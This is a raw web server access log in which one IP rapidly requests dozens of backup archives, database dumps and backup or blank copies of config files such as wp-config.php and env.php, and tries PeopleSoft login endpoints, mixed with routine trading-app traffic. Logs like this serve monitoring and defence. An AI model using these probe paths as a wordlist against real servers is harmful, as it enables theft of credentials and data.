[09/Jan/2026:10:55:40 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/CHUMPRDM/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HR92PRD/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ftp.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/cangate_1/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /output.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/ihprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /upload.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /src.gz HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:41 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.war HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.tar HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927625722 HTTP/1.1" -
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /conf/conf.gz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.7z HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /old.gz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //404.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.208.139.lz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-login.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.gz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.lz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.lz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.lz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.rar HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927611939 HTTP/1.1" -
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /202.181.lz HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:42 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /2026.lz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.BAK HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ROOT.lz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.xz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wwwroot.lz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.blank HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.zip HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /htdocs.lz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site/default/settings.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.z HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /www.lz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //installation/configuration.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.Z HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /html.lz HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/etc/env.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:43 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.lz HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //Application/Common/Conf/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapps.lz HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/dev/common/config/main-local.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.db HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public.lz HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //environments/prod/common/config/main-local.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927616039 HTTP/1.1" -
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.jar HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /public_html.lz HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //common/config/main-local.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uploads.lz HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //system/config/default.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sqlitedb HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //typo3conf/localconf.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /website.lz HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.7z HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_global.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:44 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api.lz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /test.lz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config_ucenter.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.gz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.lz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //textpattern/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup.lz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.rar HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_1.lz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/database.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_2.lz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //caches/configs/system.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.xz HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.zip HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:45 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_3.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.z HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //include/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backup_4.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /backups.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.sql.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.blank HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.war HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /temp.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bak.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.7z HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //zb_users/c_option.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.gz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sql.lz HTTP/1.1" 196
[09/Jan/2026:10:55:46 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/class/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /dump.lz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.lz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927630749 HTTP/1.1" -
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //e/config/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.rar HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /database.lz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/sql_config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.gz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Release.lz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/bbscache/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.tar.bz2 HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inetpub.lz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.blank HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /package.lz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tmp.lz HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927616972 HTTP/1.1" -
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:47 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /db.lz HTTP/1.1" 196
[09/Jan/2026:10:55:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:55:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:55:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.blank HTTP/1.1" 196
[09/Jan/2026:10:55:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //conn.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //database.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:48 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //db_config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.inc.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/config.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:49 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927621101 HTTP/1.1" -
[09/Jan/2026:10:55:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //default.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //main.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //settings.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //header.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config.txt HTTP/1.1" 196
[09/Jan/2026:10:55:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //footer.php.blank HTTP/1.1" 196
[09/Jan/2026:10:55:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //const.DB.php.bak.txt HTTP/1.1" 196
[09/Jan/2026:10:55:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //login.php.blank HTTP/1.1" 196
